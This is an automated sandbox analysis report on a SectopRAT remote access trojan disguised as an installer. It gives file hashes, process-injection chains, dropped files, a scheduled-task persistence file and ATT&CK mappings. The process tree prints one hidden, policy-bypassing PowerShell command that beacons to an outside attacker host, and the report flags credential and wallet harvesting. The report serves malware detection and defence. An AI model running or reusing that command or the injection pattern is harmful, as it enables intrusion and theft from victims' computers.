sectoprat | 78eea64a981219170ff45c927d11747c4c4d0f2baf0ebccef02e4fa82ea15007

Analysis

max time kernel
1788s
max time network
1792s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
21-05-2024 21:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SetupSuite_2024.24230_win64.exe
Size

18.4MB
MD5

94dc7cce9cd15f55fb3f289bd723f567
SHA1

5487cd6f476b90b544754f017329d9894d6513e3
SHA256

78eea64a981219170ff45c927d11747c4c4d0f2baf0ebccef02e4fa82ea15007
SHA512

3760f2e225e7919bd4f3a2a9cd0e5eead3cc409c6f44eaa3d7a44fe2639de749f0640b19b8997ac53679c5b824c05d6d5ae3b9105c0c63efbc1cecda345d28cb
SSDEEP

393216:GZRCQ9WLcKS1wNLH04sjYyQ0KSW9MoEvwyhWgJcgtE6W:ioQHargYyWSpvwPgJc4xW

Score

10^/10

sectoprat execution rat spyware trojan

Malware Config

Signatures

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2484-70-0x0000000001300000-0x00000000013C6000-memory.dmp	family_sectoprat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1612 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1612 powershell.exe

flow	pid	process
4	1612	powershell.exe

pid	process
1612	powershell.exe

Executes dropped EXE 10 IoCs

Processes:

tmpC350.tmp.exeOrtosLauncher.exeOrtosLauncher.exeOrtosLauncher.exeOrtosLauncher.exeOrtosLauncher.exeOrtosLauncher.exeOrtosLauncher.exeOrtosLauncher.exeOrtosLauncher.exe

pid	process
4644	tmpC350.tmp.exe
4936	OrtosLauncher.exe
2756	OrtosLauncher.exe
2260	OrtosLauncher.exe
2712	OrtosLauncher.exe
3804	OrtosLauncher.exe
1356	OrtosLauncher.exe
4088	OrtosLauncher.exe
2156	OrtosLauncher.exe
4412	OrtosLauncher.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Suspicious use of SetThreadContext 21 IoCs

Processes:

SetupSuite_2024.24230_win64.exenetsh.exetmpC350.tmp.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exe

description	pid	process	target process
PID 3984 set thread context of 1392	3984	SetupSuite_2024.24230_win64.exe	netsh.exe
PID 1392 set thread context of 3808	1392	netsh.exe	MSBuild.exe
PID 4644 set thread context of 2700	4644	tmpC350.tmp.exe	netsh.exe
PID 2700 set thread context of 2484	2700	netsh.exe	MSBuild.exe
PID 4936 set thread context of 2984	4936	OrtosLauncher.exe	netsh.exe
PID 2984 set thread context of 4280	2984	netsh.exe	MSBuild.exe
PID 2756 set thread context of 4592	2756	OrtosLauncher.exe	netsh.exe
PID 4592 set thread context of 3384	4592	netsh.exe	MSBuild.exe
PID 2260 set thread context of 5072	2260	OrtosLauncher.exe	netsh.exe
PID 5072 set thread context of 260	5072	netsh.exe	MSBuild.exe
PID 2712 set thread context of 2312	2712	OrtosLauncher.exe	netsh.exe
PID 2312 set thread context of 720	2312	netsh.exe	MSBuild.exe
PID 3804 set thread context of 4108	3804	OrtosLauncher.exe	netsh.exe
PID 4108 set thread context of 3264	4108	netsh.exe	MSBuild.exe
PID 1356 set thread context of 1548	1356	OrtosLauncher.exe	netsh.exe
PID 1548 set thread context of 424	1548	netsh.exe	MSBuild.exe
PID 4088 set thread context of 4812	4088	OrtosLauncher.exe	netsh.exe
PID 4812 set thread context of 5072	4812	netsh.exe	MSBuild.exe
PID 2156 set thread context of 4148	2156	OrtosLauncher.exe	netsh.exe
PID 4148 set thread context of 3384	4148	netsh.exe	MSBuild.exe
PID 4412 set thread context of 2280	4412	OrtosLauncher.exe	netsh.exe

Drops file in Windows directory 1 IoCs

Processes:

netsh.exe

description ioc process

File created C:\Windows\Tasks\Ortos Launcher.job netsh.exe

description	ioc	process
File created	C:\Windows\Tasks\Ortos Launcher.job	netsh.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

Processes:

SetupSuite_2024.24230_win64.exepowershell.exenetsh.exetmpC350.tmp.exenetsh.exeMSBuild.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exe

pid	process
3984	SetupSuite_2024.24230_win64.exe
3984	SetupSuite_2024.24230_win64.exe
1612	powershell.exe
1612	powershell.exe
1392	netsh.exe
1392	netsh.exe
4644	tmpC350.tmp.exe
4644	tmpC350.tmp.exe
2700	netsh.exe
2700	netsh.exe
2484	MSBuild.exe
2484	MSBuild.exe
2484	MSBuild.exe
2484	MSBuild.exe
4936	OrtosLauncher.exe
4936	OrtosLauncher.exe
2984	netsh.exe
2984	netsh.exe
2756	OrtosLauncher.exe
2756	OrtosLauncher.exe
4592	netsh.exe
4592	netsh.exe
2260	OrtosLauncher.exe
2260	OrtosLauncher.exe
5072	netsh.exe
5072	netsh.exe
2712	OrtosLauncher.exe
2712	OrtosLauncher.exe
2312	netsh.exe
2312	netsh.exe
3804	OrtosLauncher.exe
3804	OrtosLauncher.exe
4108	netsh.exe
4108	netsh.exe
1356	OrtosLauncher.exe
1356	OrtosLauncher.exe
1548	netsh.exe
1548	netsh.exe
4088	OrtosLauncher.exe
4088	OrtosLauncher.exe
4812	netsh.exe
4812	netsh.exe
2156	OrtosLauncher.exe
2156	OrtosLauncher.exe
4148	netsh.exe
4148	netsh.exe
4412	OrtosLauncher.exe
4412	OrtosLauncher.exe

Suspicious behavior: MapViewOfSection 31 IoCs

Processes:

pid	process
3984	SetupSuite_2024.24230_win64.exe
1392	netsh.exe
1392	netsh.exe
4644	tmpC350.tmp.exe
2700	netsh.exe
2700	netsh.exe
4936	OrtosLauncher.exe
2984	netsh.exe
2984	netsh.exe
2756	OrtosLauncher.exe
4592	netsh.exe
4592	netsh.exe
2260	OrtosLauncher.exe
5072	netsh.exe
5072	netsh.exe
2712	OrtosLauncher.exe
2312	netsh.exe
2312	netsh.exe
3804	OrtosLauncher.exe
4108	netsh.exe
4108	netsh.exe
1356	OrtosLauncher.exe
1548	netsh.exe
1548	netsh.exe
4088	OrtosLauncher.exe
4812	netsh.exe
4812	netsh.exe
2156	OrtosLauncher.exe
4148	netsh.exe
4148	netsh.exe
4412	OrtosLauncher.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeMSBuild.exeMSBuild.exe

description pid process

Token: SeDebugPrivilege 1612 powershell.exe
Token: SeDebugPrivilege 3808 MSBuild.exe
Token: SeDebugPrivilege 2484 MSBuild.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

MSBuild.exe

pid process

2484 MSBuild.exe

description	pid	process
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	3808	MSBuild.exe
Token: SeDebugPrivilege	2484	MSBuild.exe

pid	process
2484	MSBuild.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

SetupSuite_2024.24230_win64.execmd.execmd.exenetsh.exeMSBuild.exetmpC350.tmp.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exenetsh.exeOrtosLauncher.exe

description	pid	process	target process
PID 3984 wrote to memory of 4448	3984	SetupSuite_2024.24230_win64.exe	cmd.exe
PID 3984 wrote to memory of 4448	3984	SetupSuite_2024.24230_win64.exe	cmd.exe
PID 4448 wrote to memory of 1600	4448	cmd.exe	cmd.exe
PID 4448 wrote to memory of 1600	4448	cmd.exe	cmd.exe
PID 1600 wrote to memory of 1612	1600	cmd.exe	powershell.exe
PID 1600 wrote to memory of 1612	1600	cmd.exe	powershell.exe
PID 3984 wrote to memory of 1392	3984	SetupSuite_2024.24230_win64.exe	netsh.exe
PID 3984 wrote to memory of 1392	3984	SetupSuite_2024.24230_win64.exe	netsh.exe
PID 3984 wrote to memory of 1392	3984	SetupSuite_2024.24230_win64.exe	netsh.exe
PID 3984 wrote to memory of 1392	3984	SetupSuite_2024.24230_win64.exe	netsh.exe
PID 1392 wrote to memory of 3808	1392	netsh.exe	MSBuild.exe
PID 1392 wrote to memory of 3808	1392	netsh.exe	MSBuild.exe
PID 1392 wrote to memory of 3808	1392	netsh.exe	MSBuild.exe
PID 1392 wrote to memory of 3808	1392	netsh.exe	MSBuild.exe
PID 1392 wrote to memory of 3808	1392	netsh.exe	MSBuild.exe
PID 3808 wrote to memory of 4644	3808	MSBuild.exe	tmpC350.tmp.exe
PID 3808 wrote to memory of 4644	3808	MSBuild.exe	tmpC350.tmp.exe
PID 3808 wrote to memory of 4644	3808	MSBuild.exe	tmpC350.tmp.exe
PID 4644 wrote to memory of 2700	4644	tmpC350.tmp.exe	netsh.exe
PID 4644 wrote to memory of 2700	4644	tmpC350.tmp.exe	netsh.exe
PID 4644 wrote to memory of 2700	4644	tmpC350.tmp.exe	netsh.exe
PID 4644 wrote to memory of 2700	4644	tmpC350.tmp.exe	netsh.exe
PID 2700 wrote to memory of 2484	2700	netsh.exe	MSBuild.exe
PID 2700 wrote to memory of 2484	2700	netsh.exe	MSBuild.exe
PID 2700 wrote to memory of 2484	2700	netsh.exe	MSBuild.exe
PID 2700 wrote to memory of 2484	2700	netsh.exe	MSBuild.exe
PID 2700 wrote to memory of 2484	2700	netsh.exe	MSBuild.exe
PID 4936 wrote to memory of 2984	4936	OrtosLauncher.exe	netsh.exe
PID 4936 wrote to memory of 2984	4936	OrtosLauncher.exe	netsh.exe
PID 4936 wrote to memory of 2984	4936	OrtosLauncher.exe	netsh.exe
PID 4936 wrote to memory of 2984	4936	OrtosLauncher.exe	netsh.exe
PID 2984 wrote to memory of 4280	2984	netsh.exe	MSBuild.exe
PID 2984 wrote to memory of 4280	2984	netsh.exe	MSBuild.exe
PID 2984 wrote to memory of 4280	2984	netsh.exe	MSBuild.exe
PID 2984 wrote to memory of 4280	2984	netsh.exe	MSBuild.exe
PID 2984 wrote to memory of 4280	2984	netsh.exe	MSBuild.exe
PID 2756 wrote to memory of 4592	2756	OrtosLauncher.exe	netsh.exe
PID 2756 wrote to memory of 4592	2756	OrtosLauncher.exe	netsh.exe
PID 2756 wrote to memory of 4592	2756	OrtosLauncher.exe	netsh.exe
PID 2756 wrote to memory of 4592	2756	OrtosLauncher.exe	netsh.exe
PID 4592 wrote to memory of 3384	4592	netsh.exe	MSBuild.exe
PID 4592 wrote to memory of 3384	4592	netsh.exe	MSBuild.exe
PID 4592 wrote to memory of 3384	4592	netsh.exe	MSBuild.exe
PID 4592 wrote to memory of 3384	4592	netsh.exe	MSBuild.exe
PID 4592 wrote to memory of 3384	4592	netsh.exe	MSBuild.exe
PID 2260 wrote to memory of 5072	2260	OrtosLauncher.exe	netsh.exe
PID 2260 wrote to memory of 5072	2260	OrtosLauncher.exe	netsh.exe
PID 2260 wrote to memory of 5072	2260	OrtosLauncher.exe	netsh.exe
PID 2260 wrote to memory of 5072	2260	OrtosLauncher.exe	netsh.exe
PID 5072 wrote to memory of 260	5072	netsh.exe	MSBuild.exe
PID 5072 wrote to memory of 260	5072	netsh.exe	MSBuild.exe
PID 5072 wrote to memory of 260	5072	netsh.exe	MSBuild.exe
PID 5072 wrote to memory of 260	5072	netsh.exe	MSBuild.exe
PID 5072 wrote to memory of 260	5072	netsh.exe	MSBuild.exe
PID 2712 wrote to memory of 2312	2712	OrtosLauncher.exe	netsh.exe
PID 2712 wrote to memory of 2312	2712	OrtosLauncher.exe	netsh.exe
PID 2712 wrote to memory of 2312	2712	OrtosLauncher.exe	netsh.exe
PID 2712 wrote to memory of 2312	2712	OrtosLauncher.exe	netsh.exe
PID 2312 wrote to memory of 720	2312	netsh.exe	MSBuild.exe
PID 2312 wrote to memory of 720	2312	netsh.exe	MSBuild.exe
PID 2312 wrote to memory of 720	2312	netsh.exe	MSBuild.exe
PID 2312 wrote to memory of 720	2312	netsh.exe	MSBuild.exe
PID 2312 wrote to memory of 720	2312	netsh.exe	MSBuild.exe
PID 3804 wrote to memory of 4108	3804	OrtosLauncher.exe	netsh.exe

C:\Users\Admin\AppData\Local\Temp\SetupSuite_2024.24230_win64.exe
"C:\Users\Admin\AppData\Local\Temp\SetupSuite_2024.24230_win64.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3984

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c start /min "" "C:\Users\Admin\AppData\Roaming\Hhs_client_4\UZPWVFRAFQUTYVI\st.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:4448

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Hhs_client_4\UZPWVFRAFQUTYVI\st.bat"
3⤵
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-RestMethod 'https://fvruq7f3npuzx535.fieles-pro.online/__stat/7171717692/post.php' -Method Post -Body (@{source_id='drop1'} | ConvertTo-Json) -ContentType 'application/json' -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' } } catch {}"
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1392

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3808

C:\Users\Admin\AppData\Local\Temp\tmpC350.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpC350.tmp.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4644

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
5⤵
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2700

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2484

C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4936

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2984

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:4280

C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2756

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4592

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:3384

C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2260

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:5072

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:260

C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2712

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2312

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:720

C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3804

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4108

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:3264

C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1356

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1548

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:424

C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4088

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4812

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:5072

C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2156

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4148

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:3384

C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
C:\Users\Admin\AppData\Roaming\SecurityUpdate\OrtosLauncher.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4412

C:\Windows\SysWOW64\netsh.exe
C:\Windows\SysWOW64\netsh.exe
2⤵
PID:2280

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log
Filesize
1KB

MD5
a199bb80fd78806046bd2c3ba0e899ff

SHA1
8211d6d66dabb26b55c88bd6e1a162ac53652015

SHA256
96669ecdd0f995f2ed7451f63c908763a7a1c48bd29aded0510b00d6fb2afd6e

SHA512
a04a82bef6e1e8cadb4bf220731a12ad80dcde1490a4f009105cf33ae737f77d604d7926008f40743a0429099c6b53dae7a17f9d8583189ce9a705fc224be25f

Download Submit
C:\Users\Admin\AppData\Local\Temp\608aa830
Filesize
1.4MB

MD5
bb79b37303351aed686bafdbda965145

SHA1
29dfc99df03ebeba465887c1c93990244010701f

SHA256
832bd77a59171267e41c2559bce0abd6c8a5d172367726dd289f3fc133beae29

SHA512
6cb74f6fe35775c562cbf1c8126d633259e4b6077638fff57f70326bac8e3a0e6deaa7ca26de9bab6364cf88fa750bfb7c2af6cde82f73ed731989685b75de8a

Download Submit
C:\Users\Admin\AppData\Local\Temp\66cc0545
Filesize
1.4MB

MD5
9de3cd2b9c48a6904659820165063ea1

SHA1
fc4f6981ed24010a49efcaa9c47663d77d278482

SHA256
8d6d270739515d937e6089d87029eeca89099a266db616685ec131f64952ef99

SHA512
db898cf1307ac42bdee6d17ebec702354f1a46f8b67de0e63dc369e4bd81841d455d1f32e484548993eca7ac60230f98016a7a8714f069e46d8acdcd1ef1e249

Download Submit
C:\Users\Admin\AppData\Local\Temp\9373967d
Filesize
947KB

MD5
b067b9f4a268cf0826971f23945b22f3

SHA1
1c595559c194dd23a5a9e95a79ceb92286f9b7b9

SHA256
9d0bb116194f6bc313879a6bf119060a881a440ba04f1c715e2ef964684e22b4

SHA512
90b6213d3cfde4c6419b6dda239e499fc1f8f3ab3e033e5431c7f1bf4fe559599174ff54d343c2cb1fb578da6eb226d063f7211b9f308aae4b1b8abf5811939a

Download Submit
C:\Users\Admin\AppData\Local\Temp\95e4b9bc
Filesize
716KB

MD5
208acbc78bd28a42f006accb8187aefa

SHA1
3b8b058a0c4c28c61f6e8565d8fab81a8dc6a3c1

SHA256
58a736dbd205975ecff6b4543c3872a202a33cb02af4ecd9f0e168c90e10ba0d

SHA512
b7986e2e3e16334d71ecc405cef92ce00ed5302e0542e00436f988238c1394fa620e99065ee8a36e8d2bd4429bdecc73143b48ae6d49bb094ea87faec01d3854

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ekyld5qo.p5j.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\e480c79b
Filesize
1.4MB

MD5
72993e7e3c5af44c913d7962140a4e5c

SHA1
773ab61c014ae55a5da6b63e5b35561b625a516b

SHA256
6bf0ecce691384bebdc7dee9cade9a02d0afabf0e516a8ce3078ffce9a649e4f

SHA512
b7f28cbf819c8b3a0a39a53f88ca60e7855a7a460d230b076794be56b466a66b13242e98959ffaf149abb19e81842c3af0fc026105a7b9a5e7e84b5898820328

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp4D42.tmp
Filesize
20KB

MD5
a603e09d617fea7517059b4924b1df93

SHA1
31d66e1496e0229c6a312f8be05da3f813b3fa9e

SHA256
ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7

SHA512
eadb844a84f8a660c578a2f8e65ebcb9e0b9ab67422be957f35492ff870825a4b363f96fd1c546eaacfd518f6812fcf57268ef03c149e5b1a7af145c7100e2cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp4D55.tmp
Filesize
20KB

MD5
22be08f683bcc01d7a9799bbd2c10041

SHA1
2efb6041cf3d6e67970135e592569c76fc4c41de

SHA256
451c2c0cf3b7cb412a05347c6e75ed8680f0d2e5f2ab0f64cc2436db9309a457

SHA512
0eef192b3d5abe5d2435acf54b42c729c3979e4ad0b73d36666521458043ee7df1e10386bef266d7df9c31db94fb2833152bb2798936cb2082715318ef05d936

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC350.tmp.exe
Filesize
6.6MB

MD5
064d9b8a16b733266a651332c622a54e

SHA1
a15f053b71cda0497efdec08b4680267b936024d

SHA256
8e723f79d696edac7fa9da08d07dd796b4fa6f56886a2f10ea66e618bf0273f1

SHA512
18cee323ab07689c6e030d647f0296ec97a12af860fce2252d72d11f3f54c69aca266329fa58cf08213417fd0de54dfab7477a3d9923e83812470fa1b8c79110

Download Submit
C:\Users\Admin\AppData\Roaming\Hhs_client_4\UZPWVFRAFQUTYVI\st.bat
Filesize
2KB

MD5
4f67b284c4d47193e6406331981df83b

SHA1
11d2317531c89a4f7faf8c72fb1cc6abb169b56b

SHA256
8e1ec3afa595402444206ca09edcc86247a50f7cd8a71be3f4928a34228ba168

SHA512
9a3ca36bc10043f0684a05faad606efae2d9959015b30d454c7d1d907553d130a4dcca8fac811a204431b7c23a6512a83ba0a555eef7a312c9a2655ea4cc30f3

Download Submit
C:\Windows\Tasks\Ortos Launcher.job
Filesize
300B

MD5
3ab6175e9346145004cecbeb41c57d9a

SHA1
04e5e00fec1372c7a64d9cda864831f5f683d067

SHA256
c02fb18b001c732957b47e38ebebb3d8629900fe2a3e5b8d9d72bb99f0fe3fd5

SHA512
63f761bdb63b4d47df10d41a3ac4468cea3ccd83ba967edf0676c50099c0940ba09b6ecf8ae55c9f524ba3544df07529f043fef155c4c5d511a68a286717d67b

Download Submit
memory/260-337-0x0000000072300000-0x0000000073617000-memory.dmp

Filesize
19.1MB

Download
memory/720-354-0x0000000072300000-0x0000000073617000-memory.dmp

Filesize
19.1MB

Download
memory/1356-381-0x000000006EA10000-0x000000006EB8D000-memory.dmp

Filesize
1.5MB

Download
memory/1356-382-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

Filesize
2.0MB

Download
memory/1356-383-0x000000006EA10000-0x000000006EB8D000-memory.dmp

Filesize
1.5MB

Download
memory/1356-375-0x0000000000400000-0x0000000000AC3000-memory.dmp

Filesize
6.8MB

Download
memory/1392-34-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

Filesize
2.0MB

Download
memory/1548-387-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

Filesize
2.0MB

Download
memory/1612-22-0x00007FFB6FC80000-0x00007FFB70742000-memory.dmp

Filesize
10.8MB

Download
memory/1612-12-0x00007FFB6FC83000-0x00007FFB6FC85000-memory.dmp

Filesize
8KB

Download
memory/1612-26-0x0000026D45280000-0x0000026D457A8000-memory.dmp

Filesize
5.2MB

Download
memory/1612-29-0x00007FFB6FC80000-0x00007FFB70742000-memory.dmp

Filesize
10.8MB

Download
memory/1612-13-0x0000026D44540000-0x0000026D44562000-memory.dmp

Filesize
136KB

Download
memory/1612-25-0x0000026D44B80000-0x0000026D44D42000-memory.dmp

Filesize
1.8MB

Download
memory/1612-24-0x00007FFB6FC80000-0x00007FFB70742000-memory.dmp

Filesize
10.8MB

Download
